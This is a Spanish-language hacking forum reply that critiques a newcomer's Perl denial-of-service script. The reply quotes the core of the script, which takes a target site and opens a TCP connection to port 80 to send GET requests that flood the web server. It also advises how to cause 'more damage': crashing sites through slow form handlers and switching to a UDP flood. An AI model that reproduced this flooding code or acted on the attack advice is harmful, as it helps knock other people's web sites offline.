Buenas Bro¡
Bienvenido al FOro.
Espero que mis comentarios los tomes de una buena forma constructiva,

- El code tiene mucha Info que no tiene que porque estar. Como el ultimo que abre y cierra archivos, para poner spam de tu site.
- No Entiendo Porque Hacer scripts sobre saturaciones de conexiones, talves nose hacer hacer crash el site, con alguna vulne de programacion como son ls formularios, etc que se saturan en 1 seg, sacar de lo mas simple, el max daño.
- De todas formas si deserias tener mas "daño" podrias atacar con UDp, asi no devuelven los paketes, aunque talves no llegan todos. si vos atakas, con este , te consume tu ancho de banda y la misma cantidad de socket que abres, es el que abriras en tu makina...
- Expongo Parte del Code que realmente hace algo.
print ("Fill the Required Line for use exploit \nSite: $hedef");
$hedef=<STDIN>;
print ("Script Path: $script");
$script=<STDIN>;
print ("Numerical Value: $saldiri");
$saldiri=<STDIN>;
use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $hedef,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, );
print $socket "GET $script HTTP/1.0\n
Language: en\n
Accept-Encoding: gzip\n
User: TurkHackingTim®\n
Site: $hedef\n
Connection: Valid-User\n\n";
close($socket);
print "....";
Algo que no entiendo.
Porque especifica el tipo de protocolo TCP pone Type SOCK_STREAM
SOCK_STREAM Es utilizada en TCP,si fuese UDP seria SOCK_DGRAM , pero al dejar en claro el Protocolo, ya indentifica esto. no tiene sentido XD¡
En simples Abre socket a lo loco , intentando saturar el servidor web, talves en web pekeñas, chikitas, funcione, pero en otros servers los firewalls lo cortan al ver un ma x de conexiones.